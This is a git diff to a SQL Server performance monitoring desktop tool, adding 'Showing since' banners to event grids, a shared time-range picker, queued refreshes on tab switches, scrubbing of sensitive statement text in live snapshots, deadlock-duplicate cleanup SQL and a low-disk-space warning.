                                 <DataGrid x:Name="MemoryBrokerGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2848,6 +2955,7 @@
                                 <TextBlock Text="Memory Node OOM" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="MemoryNodeOomCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="MemoryNodeOomWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="MemoryNodeOomGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2895,6 +3003,7 @@
                                 <TextBlock Text="Significant Waits (duration 500 ms+)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="SignificantWaitsCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="SignificantWaitsWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="SignificantWaitsGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2924,6 +3033,7 @@
                                 <TextBlock Text="CPU Tasks (WARNING with 10+ pending tasks)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="CpuTasksCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="CpuTasksWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="CpuTasksGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2954,6 +3064,7 @@
                                 <TextBlock Text="I/O Issues (WARNING with pending I/O)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="IoIssuesCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="IoIssuesWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="IoIssuesGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2980,6 +3091,7 @@
                                 <TextBlock Text="Default Trace (auto-grow/shrink stalls, severe ErrorLog, schema DDL, security audits, memory change)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="DefaultTraceCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="DefaultTraceWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="DefaultTraceGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -3028,6 +3140,7 @@
                                 <TextBlock Text="Server Configuration Changes (sp_configure drift)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="ConfigChangesRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="ServerConfigChangesCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="ServerConfigChangesWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="ServerConfigChangesGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -3058,6 +3171,7 @@
                                 <TextBlock Text="Database Configuration Changes (recovery model, RCSI, compat level, etc.)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="ConfigChangesRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="DatabaseConfigChangesCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="DatabaseConfigChangesWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="DatabaseConfigChangesGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -3083,6 +3197,7 @@
                                 <TextBlock Text="Trace Flag Changes (enabled / disabled / scope changed)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="ConfigChangesRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="TraceFlagChangesCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="TraceFlagChangesWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="TraceFlagChangesGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -3106,8 +3221,8 @@
             </TabItem>
 
             <!-- Long Queries Tab (#1496) — completed long-running queries + attentions (cancels/timeouts) from
-                 the opt-in PerformanceMonitor_LongQueryCompletions XE session. Default OFF; the banner points to
-                 where the switch lives when the collector is disabled. -->
+                 the opt-in XE session this install makes (PerformanceMonitor_Lite_{id}_LongQueryCompletions).
+                 Default OFF; the banner points to where the switch lives when the collector is disabled. -->
             <TabItem Header="Long Queries">
                 <Grid Margin="8">
                     <Grid.RowDefinitions>
@@ -3116,9 +3231,14 @@
                         <RowDefinition Height="*"/>
                     </Grid.RowDefinitions>
                     <TextBlock Grid.Row="0" Text="Long-Running Query Completions (RPC / batch completions over the duration threshold, plus attentions / cancels)" FontSize="14" FontWeight="SemiBold" Margin="0,0,0,8" TextWrapping="Wrap"/>
-                    <TextBlock Grid.Row="1" x:Name="LongQueriesDisabledWarning" Visibility="Collapsed"
-                               Foreground="{DynamicResource WarningTextBrush}" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
-                               Text="The long-query completion trace is OFF for this server. It is opt-in because a completion trace adds overhead on busy servers. Turn it on in Settings &#x2192; Collector Schedules &#x2192; Edit (Default or per-server), then tick the 'long_query_completions' Enabled box. Enabling it creates the Extended Events session on this server; disabling it drops the session."/>
+                    <StackPanel Grid.Row="1">
+                        <!-- Where the stored completions start, when that is after the window's start (the same "Showing since <time>"
+                             the Queries grids carry). -->
+                        <TextBlock x:Name="LongQueriesWindowTruncatedBanner" Visibility="Collapsed" Padding="8,4" FontWeight="Bold"
+                                   Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
+                        <TextBlock x:Name="LongQueriesDisabledWarning" Visibility="Collapsed"
+                                   Foreground="{DynamicResource WarningTextBrush}" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"/>
+                    </StackPanel>
                     <DataGrid Grid.Row="2" x:Name="LongQueryCompletionsGrid"
                               AutoGenerateColumns="False" IsReadOnly="True"
                               HeadersVisibility="Column" GridLinesVisibility="Horizontal"
diff --git a/Lite/Controls/ServerTab.xaml.cs b/Lite/Controls/ServerTab.xaml.cs
index 9f4aea1298..c28702e58c 100644
--- a/Lite/Controls/ServerTab.xaml.cs
+++ b/Lite/Controls/ServerTab.xaml.cs
@@ -168,7 +168,7 @@ each refresh so toggling it in the schedule editor updates the banner without re
     /// Raised after each data refresh with alert counts for tab badge display.
     /// </summary>
     public event Action<int, int, DateTime?>? AlertCountsChanged; /* blockingCount, deadlockCount, latestEventTimeUtc */
-    public event Action<int>? ApplyTimeRangeRequested; /* selectedIndex */
+    public event Action<TimeRangeSpec>? ApplyTimeRangeRequested; /* the range to hold on the other tabs (#5562) */
     public event Func<Task>? ManualRefreshRequested;
     public event Action<ServerConnection>? PersistServerRequested; /* #1319: persist ViewFilterDatabases via ServerManager */
 
@@ -178,6 +178,8 @@ public ServerTab(ServerConnection server, DuckDbInitializer duckDb, CredentialRe
         SetupBarCellMaxes();
 
         _server = server;
+        /* #5565: every filtered grid below this tab keeps its column filters across a restart under this server. */
+        ColumnFilterScope.SetServer(this, server.Id);
         /* Default to "enabled" when no probe is supplied so the empty-state banner never falsely claims
            the trace is off; MainWindow always wires the live schedule probe. */
         _isLongQueryTraceEnabled = isLongQueryTraceEnabled ?? (() => true);
@@ -196,15 +198,13 @@ public ServerTab(ServerConnection server, DuckDbInitializer duckDb, CredentialRe
         ConnectionStatusText.Text = "Connecting...";
 
         /* Apply default time range from settings */
-        TimeRangeCombo.SelectedIndex = App.DefaultTimeRangeHours switch
-        {
-            1 => 0,
-            4 => 1,
-            12 => 2,
-            24 => 3,
-            168 => 4,
-            _ => 1
-        };
+        /* #5562: the shared picker. The zone is read lazily (display mode, this tab's own server clock), so a mode switch
+           or a refreshed clock needs only RangePicker.Refresh(). The saved default is default_time_range, else
+           default_time_range_hours through FromLegacyHours; Value does not raise RangeChanged, so this restore neither
+           persists nor refreshes. */
+        RangePicker.ZoneProvider = GetPickerZone;
+        RangePicker.Value = App.DefaultTimeRange;
+        RangePicker.DataStartUtc = LiteTimeRange.DataStartFor(null, DateTime.UtcNow);
 
         /* #3479: restore the auto-refresh toggle and interval the same way the time range is restored
            above — from the App-level setting, before _refreshTimer exists. Setting these fires their
@@ -215,9 +215,11 @@ public ServerTab(ServerConnection server, DuckDbInitializer duckDb, CredentialRe
         AutoRefreshCheckBox.IsChecked = App.AutoRefreshEnabled;
 
         _refreshTimer = new DispatcherTimer();
+        /* #5371: a tick is a poll. When a tab-switch read or an earlier refresh is still running (or waiting to
+           replay) the data is being refreshed right now, so the tick starts nothing and queues nothing. */
         _refreshTimer.Tick += async (s, e) =>
         {
-            await RefreshAllDataAsync();
+            await RefreshAllDataOnTimerAsync();
         };
         /* The interval comes off the just-restored combo through the same call a live selection change
            makes, so the constructor and AutoRefreshInterval_Changed cannot disagree about what an index
@@ -244,9 +246,6 @@ refresh once when it becomes visible again so it isn't showing stale data on ret
         /* Show warning on Running Jobs tab if login lacks msdb access, except where the collector cannot run at all */
         RunningJobsMsdbWarning.Visibility = RunningJobsMsdbWarningVisibility(_hasMsdbAccess, _isAzureSqlDatabase, _isAwsRds);
 
-        /* Initialize time picker ComboBoxes */
-        InitializeTimeComboBoxes();
-
         /* Sync time display mode picker */
         var modeTag = ServerTimeHelper.CurrentDisplayMode.ToString();
         for (int i = 0; i < TimeDisplayModeBox.Items.Count; i++)
@@ -302,6 +301,7 @@ refresh once when it becomes visible again so it isn't showing stale data on ret
 
         /* Chart hover tooltips */
         CorrelatedLanes.Initialize(_dataService, _serverId, GetPickerZone);
+        CorrelatedLanes.DataStartFound += start => FeedDataStart("overview", start); /* #5562 R7: the Overview lanes' blocking note */
         /* #4766: the six slicers word their time axis and range caption in the tab's display zone. */
         foreach (var slicer in new[] { ActiveQueriesSlicer, QueryStatsSlicer, ProcStatsSlicer, QueryStoreSlicer, BlockingSlicer, DeadlockSlicer })
             slicer.DisplayZone = GetPickerZone;
@@ -507,11 +507,10 @@ e.OriginalSource is not System.Windows.Controls.TextBox &&
     }
 
     /// <summary>
-    /// Returns true if the custom date range is selected and both dates are set.
+    /// Returns true when the held range carries its own instants (#5562): a sub-hour span, a calendar period, a typed or
+    /// picked range, 'since'. False for a rolling range of whole hours, which is read as "the last N hours".
     /// </summary>
-    private bool IsCustomRange => TimeRangeCombo.SelectedIndex == 5
-        && FromDatePicker?.SelectedDate != null
-        && ToDatePicker?.SelectedDate != null;
+    private bool IsCustomRange => LiteTimeRange.HasExplicitInstants(CurrentRange());
 
     /// <summary>
     /// When the user switches main tabs or sub-tabs, refresh only the visible sub-tab.
@@ -521,7 +520,10 @@ e.OriginalSource is not System.Windows.Controls.TextBox &&
     private async void MainTabControl_SelectionChanged(object sender, SelectionChangedEventArgs e)
     {
         if (!IsLoaded || _dataService == null) return;
-        if (_isRefreshing) return;
+        /* #5371: no bail on a refresh in flight any more. A switch that arrives during one is remembered (latest
+           wins) and loaded when it ends, and the timer's refresh that follows a pending switch read joins it
+           instead of starting a second read. Programmatic selection changes are still skipped below by
+           _suppressActiveQueriesAutoRefresh, the only flag that was ever meant to silence this handler. */
         if (e.Source != MainTabControl && e.Source != QueriesSubTabControl
             && e.Source != MemorySubTabControl && e.Source != BlockingSubTabControl
             && e.Source != SystemEventsSubTabControl && e.Source != ConfigChangesSubTabControl) return;
@@ -533,12 +535,11 @@ private async void MainTabControl_SelectionChanged(object sender, SelectionChang
         // set/cleared around the tab switch in SelectActiveQueriesForDrillDown().
         if (_suppressActiveQueriesAutoRefresh) return;
 
-        var (hoursBack, fromDate, toDate) = GetCurrentWindowUtc();
         var navContext = MainTabControl.SelectedIndex == 2
             ? $"TabNav-Queries.sub{QueriesSubTabControl.SelectedIndex}"
             : $"TabNav-tab{MainTabControl.SelectedIndex}";
         using var _navTimer = Helpers.MethodProfiler.StartTiming(navContext);
-        await RefreshVisibleTabAsync(hoursBack, fromDate, toDate, subTabOnly: true);
+        await RefreshVisibleTabOnlyAsync();
     }
 
     private async void LiveSnapshot_Click(object sender, RoutedEventArgs e)
@@ -565,22 +566,21 @@ private async void LiveSnapshot_Click(object sender, RoutedEventArgs e)
             command.CommandTimeout = 30;
 
             using var reader = await command.ExecuteReaderAsync();
-            var results = new List<QuerySnapshotRow>();
-            var snapshotTime = DateTime.UtcNow;
-
-            while (await reader.ReadAsync())
-            {
-                results.Add(ReadLiveSnapshotRow(reader, snapshotTime));
-            }
+            var results = await ReadLiveSnapshotRowsAsync(reader, DateTime.UtcNow);
 
             _querySnapshotsFilterMgr!.UpdateData(results);
+            /* #4953: the grid now holds the live rows, not the range the "Showing since" banner described, so the banner
+               comes down (collapsed, text cleared) through the same step that hides it for a window nothing cuts short.
+               The next range read raises it again through RefreshWindowTruncatedBannerAsync. A failed live read never
+               reaches this line: the range rows stay in the grid, and so does the banner that describes them. */
+            SetWindowTruncatedBanner(ActiveQueriesWindowTruncatedBanner, truncated: false, DateTime.UtcNow, GetPickerZone());
             /* #4766: the refresh instant is UTC now, worded in the tab's own display zone; the machine clock is
                neither the server's nor the mode's. */
             LiveSnapshotIndicator.Text = $"LIVE at {DisplayZone.Format(DateTime.UtcNow, GetPickerZone(), "HH:mm:ss")} ({results.Count} queries)";
         }
         catch (Exception ex)
         {
-            LiveSnapshotIndicator.Text = $"Error: {ex.Message}";
+            LiveSnapshotIndicator.Text = $"Error: {DuckDbMemoryLimitSetting.Describe(ex)}";
             AppLogger.Error("ServerTab", $"Live snapshot failed: {ex.Message}");
         }
         finally
@@ -589,22 +589,44 @@ neither the server's nor the mode's. */
         }
     }
 
+    /// <summary>
+    /// The whole live snapshot read, on a thread-pool thread (#5554). This read is the button's own, not the collector's,
+    /// so the statement text and both plans are judged here (#4348), one session (one shared budget) for the whole read;
+    /// the judge parses every plan and can spend up to the session budget, so the loop never runs on the dispatcher.
+    /// </summary>
+    internal static Task<List<QuerySnapshotRow>> ReadLiveSnapshotRowsAsync(DbDataReader reader, DateTime snapshotTime)
+        => Task.Run(async () =>
+        {
+            var results = new List<QuerySnapshotRow>();
+            var scrub = new SensitiveStatements.Session();
+            while (await reader.ReadAsync().ConfigureAwait(false))
+            {
+                results.Add(ReadLiveSnapshotRow(reader, snapshotTime, scrub));
+            }
+
+            return results;
+        });
+
     /// <summary>
     /// One row of the live snapshot query, read into the grid's row. The query is the scheduled collector's,
     /// but this read is the button's own, so it trims the wait type the same way the collector does (see
     /// <see cref="PerformanceMonitor.Collectors.WaitTypeName"/>): a live row then shows the name a stored row
     /// carries. <c>WaitNameTrimTests</c> drives this method with the spaced name the server returns.
     /// </summary>
-    internal static QuerySnapshotRow ReadLiveSnapshotRow(DbDataReader reader, DateTime snapshotTime)
+    internal static QuerySnapshotRow ReadLiveSnapshotRow(DbDataReader reader, DateTime snapshotTime, SensitiveStatements.Session? scrub = null)
     {
-        var liveQueryPlan = reader.IsDBNull(4) ? null : reader.GetString(4);
-        var liveActualPlan = reader.IsDBNull(5) ? null : reader.GetValue(5)?.ToString();
+        /* #4348: the statement text and both plans are judged where they enter the row, as the collector's read does
+           for a stored row (QuerySnapshotsCollector.ReadAsync). A named statement reads as the marker in the grid, in
+           every copy and CSV of it, and in a plan saved from it. */
+        scrub ??= new SensitiveStatements.Session();
+        var liveQueryPlan = reader.IsDBNull(4) ? null : scrub.Xml(reader.GetString(4));
+        var liveActualPlan = reader.IsDBNull(5) ? null : scrub.Xml(reader.GetValue(5)?.ToString());
         return new QuerySnapshotRow
         {
             SessionId = Convert.ToInt32(reader.GetValue(0)),
             DatabaseName = reader.IsDBNull(1) ? "" : reader.GetString(1),
             ElapsedTimeFormatted = reader.IsDBNull(2) ? "" : reader.GetString(2),
-            QueryText = reader.IsDBNull(3) ? "" : reader.GetString(3),
+            QueryText = reader.IsDBNull(3) ? "" : scrub.Text(reader.GetString(3)) ?? "",
             QueryPlan = liveQueryPlan,
             LiveQueryPlan = liveActualPlan,
             /* #4239: this row is never written to the store (CollectionTime is "now", not a
diff --git a/Lite/Controls/TimeRangeSlicerControl.xaml.cs b/Lite/Controls/TimeRangeSlicerControl.xaml.cs
index d60fcc03ab..ffcfe3aaf4 100644
--- a/Lite/Controls/TimeRangeSlicerControl.xaml.cs
+++ b/Lite/Controls/TimeRangeSlicerControl.xaml.cs
@@ -23,6 +23,7 @@ public partial class TimeRangeSlicerControl : UserControl
     private DateTime? _requestedEndUtc;
     private string _metricLabel = "Sessions";
     private bool _isExpanded = true;
+    private string? _emptyText;
 
     // Overlay: per-item trend drawn on top of the aggregate area chart
     private List<(DateTime TimeUtc, double Value)>? _overlayData;
@@ -99,6 +100,7 @@ public void LoadData(List<TimeSliceBucket> data, string metricLabel,
         _requestedStartUtc = requestedStartUtc;
         _requestedEndUtc = requestedEndUtc;
         _data = FillEmptyBuckets(data, requestedStartUtc, requestedEndUtc);
+        _emptyText = null;
         _metricLabel = metricLabel;
 
         if (prevStart.HasValue && prevEnd.HasValue && _data.Count >= 2)
@@ -116,6 +118,51 @@ public void LoadData(List<TimeSliceBucket> data, string metricLabel,
         Redraw();
     }
 
+    /// <summary>
+    /// The window came back empty (Lite click-through F15): drops the previous window's bars and selection and says so over the
+    /// chart area only. The text is drawn on the canvas, so it never sits over the Time Range toggle or the quick-range chips,
+    /// and it is hidden with the canvas when the user collapses the slicer.
+    /// </summary>
+    public void ShowEmpty(string text)
+    {
+        _data = new List<TimeSliceBucket>();
+        _overlayData = null;
+        _requestedStartUtc = null;
+        _requestedEndUtc = null;
+        _rangeStart = 0;
+        _rangeEnd = 1.0;
+        _emptyText = text;
+        UpdateRangeLabel();
+        Redraw();
+    }
+
+    /// <summary>The empty-window text (null when the slicer holds data); exposed for the tests.</summary>
+    public string? EmptyText => _emptyText;
+
+    private void DrawEmptyText()
+    {
+        if (_emptyText is null) return;
+        var w = SlicerBorder.ActualWidth;
+        var h = SlicerBorder.ActualHeight;
+        if (w <= 0 || h <= 0) return;
+
+        var tb = new TextBlock
+        {
+            Text = _emptyText,
+            FontSize = 12,
+            FontStyle = FontStyles.Italic,
+            TextAlignment = TextAlignment.Center,
+            TextWrapping = TextWrapping.Wrap,
+            MaxWidth = Math.Min(520, Math.Max(40, w - 16)),
+            Foreground = FindBrush("ForegroundDimBrush", "#C7CBD4"),
+            IsHitTestVisible = false,
+        };
+        tb.Measure(new Size(tb.MaxWidth, double.PositiveInfinity));
+        Canvas.SetLeft(tb, Math.Max(0, (w - tb.DesiredSize.Width) / 2));
+        Canvas.SetTop(tb, Math.Max(0, (h - tb.DesiredSize.Height) / 2));
+        SlicerCanvas.Children.Add(tb);
+    }
+
     /// <summary>
     /// Sets an overlay trend line on the slicer. Drawn on its own Y scale
     /// so it's visible regardless of the aggregate chart's magnitude.
@@ -233,7 +280,7 @@ private TimeZoneInfo CurrentZone() =>
     public void Redraw()
     {
         SlicerCanvas.Children.Clear();
-        if (_data.Count < 1) return;
+        if (_data.Count < 1) { DrawEmptyText(); return; }
 
         var w = SlicerBorder.ActualWidth;
         var h = SlicerBorder.ActualHeight;
diff --git a/Lite/Database/DeadlockDuplicateCleanup.cs b/Lite/Database/DeadlockDuplicateCleanup.cs
index 271b761cb5..1642ff9fd1 100644
--- a/Lite/Database/DeadlockDuplicateCleanup.cs
+++ b/Lite/Database/DeadlockDuplicateCleanup.cs
@@ -10,6 +10,7 @@
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitorLite.Database;
 
@@ -25,21 +26,34 @@ namespace PerformanceMonitorLite.Database;
 /// <c>deadlock_time</c>, or a NULL or empty graph, is never touched. <c>deadlock_id</c> is the primary key, so the
 /// delete addresses exactly the rows chosen.</para>
 ///
+/// <para><b>A graph the statement filter withheld whole</b> (#4348) is the marker text, the same for every such
+/// graph, so its identity adds the victim process id and the database the collector parsed before judging it. A
+/// marker row with no victim process id has nothing to tell it apart and is never touched. A row with real text keeps
+/// the identity above.</para>
+///
 /// <para><b>Only the hot table.</b> Rows already moved into archived Parquet behind the <c>v_deadlocks</c> view
 /// cannot be removed with a DELETE, so a copy that was archived stays until the archive ages out.</para>
 /// </summary>
 internal static class DeadlockDuplicateCleanup
 {
+    /* #4348: a graph the statement filter withheld WHOLE is the marker text, the same for every such graph, so the
+       text cannot tell two deadlocks at one time apart. A marker row's identity adds its victim process id and
+       database (the two PARTITION BY CASEs, NULL for a real graph, so a real graph's identity is unchanged), and a
+       marker row with no victim process id is never touched, like a NULL or empty graph. */
     private const string DeleteSql = @"
 DELETE FROM deadlocks
 WHERE deadlock_id IN (
     SELECT deadlock_id FROM (
         SELECT deadlock_id,
-               row_number() OVER (PARTITION BY server_id, deadlock_time, deadlock_graph_xml
+               row_number() OVER (PARTITION BY server_id, deadlock_time, deadlock_graph_xml,
+                                  CASE WHEN deadlock_graph_xml = '" + SensitiveStatements.PlaceholderText + @"' THEN victim_process_id END,
+                                  CASE WHEN deadlock_graph_xml = '" + SensitiveStatements.PlaceholderText + @"' THEN COALESCE(database_name, '') END
                                   ORDER BY collection_time, deadlock_id) AS rn
         FROM deadlocks
         WHERE deadlock_time IS NOT NULL
         AND   deadlock_graph_xml IS NOT NULL AND deadlock_graph_xml <> ''
+        AND   (deadlock_graph_xml <> '" + SensitiveStatements.PlaceholderText + @"'
+               OR (victim_process_id IS NOT NULL AND victim_process_id <> ''))
     )
     WHERE rn > 1
 )";
diff --git a/Lite/Database/DuckDbInitializer.cs b/Lite/Database/DuckDbInitializer.cs
index 364ac69fb2..4cce0b2f59 100644
--- a/Lite/Database/DuckDbInitializer.cs
+++ b/Lite/Database/DuckDbInitializer.cs
@@ -8,6 +8,7 @@
 using DuckDB.NET.Data;
 using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Services;
 
 namespace PerformanceMonitorLite.Database;
 
@@ -172,6 +173,10 @@ public partial class DuckDbInitializer : IDisposable
        from inside the code under test (see OnArchiveViewRebuildForTests), not from a thread of its own. */
     internal static bool IsWriteLockHeldForTests => s_dbLock.IsWriteLockHeld;
 
+    /* Test seam (#5371): how many threads are parked waiting for a read lock right now. A test that holds the write lock reads it
+       to know a read has reached the lock wait, instead of sleeping and hoping the pool started it. */
+    internal static int WaitingReadCountForTests => s_dbLock.WaitingReadCount;
+
     /* Fires in ResetDatabaseCoreAsync after the database and WAL files are deleted and before the schema is
        recreated: a test throws from it to stand in for a process kill with no database file on disk. */
     internal static Action? AfterDatabaseFilesDeletedForTests { get; set; }
@@ -364,6 +369,77 @@ public void Dispose()
     /// <summary>The archive folder; the restore marker lives at its top level.</summary>
     internal string ArchivePath => _archivePath;
 
+    /// <summary>The database file's path; its folder is Lite's data folder, the one whose volume must have room (#5377).</summary>
+    internal string DatabasePath => _databasePath;
+
+    /// <summary>
+    /// Free bytes on the volume holding a path, or null when unknown (#5377). A test replaces it to stand in for
+    /// a nearly full disk; production reads the drive.
+    /// </summary>
+    internal Func<string, long?> AvailableFreeBytesProvider { get; set; } = DataVolumeSpace.GetAvailableFreeBytes;
+
+    /// <summary>The clock the volume warning's cadence reads; a test replaces it.</summary>
+    internal Func<DateTime> UtcNow { get; set; } = () => DateTime.UtcNow;
+
+    /// <summary>How long a volume that stays low goes without repeating its warning.</summary>
+    internal static readonly TimeSpan DataVolumeWarningRepeat = TimeSpan.FromHours(24);
+
+    private readonly object _volumeWarningLock = new();
+    private DateTime? _lastVolumeWarningUtc;
+
+    /// <summary>
+    /// Warns when the volume holding the data folder has less free space than the larger of
+    /// <paramref name="compactionNeedBytes"/> (the biggest merge the archive's next compaction needs, 0 when not
+    /// known yet) and the database file's size (a CHECKPOINT can grow the file by up to that much). Called at
+    /// startup and once per archive pass (#5377), but it speaks on a cadence: when the volume enters the low
+    /// state, again at most every <see cref="DataVolumeWarningRepeat"/> while it stays low, and one information
+    /// line when it recovers. <paramref name="atStartup"/> always warns when low. Never throws: a failed disk
+    /// check must not stop the store or the archive. Returns whether it warned.
+    /// </summary>
+    internal bool WarnIfDataVolumeLow(long compactionNeedBytes, bool atStartup = false)
+    {
+        try
+        {
+            var folder = Path.GetDirectoryName(Path.GetFullPath(_databasePath)) ?? ".";
+            var databaseBytes = File.Exists(_databasePath) ? new FileInfo(_databasePath).Length : 0;
+            var reason = compactionNeedBytes > databaseBytes
+                ? $"the archive's next compaction ({DataVolumeSpace.FormatBytes(compactionNeedBytes)} of merged output)"
+                : $"a CHECKPOINT (the database file is {DataVolumeSpace.FormatBytes(databaseBytes)})";
+            var needed = Math.Max(databaseBytes, compactionNeedBytes);
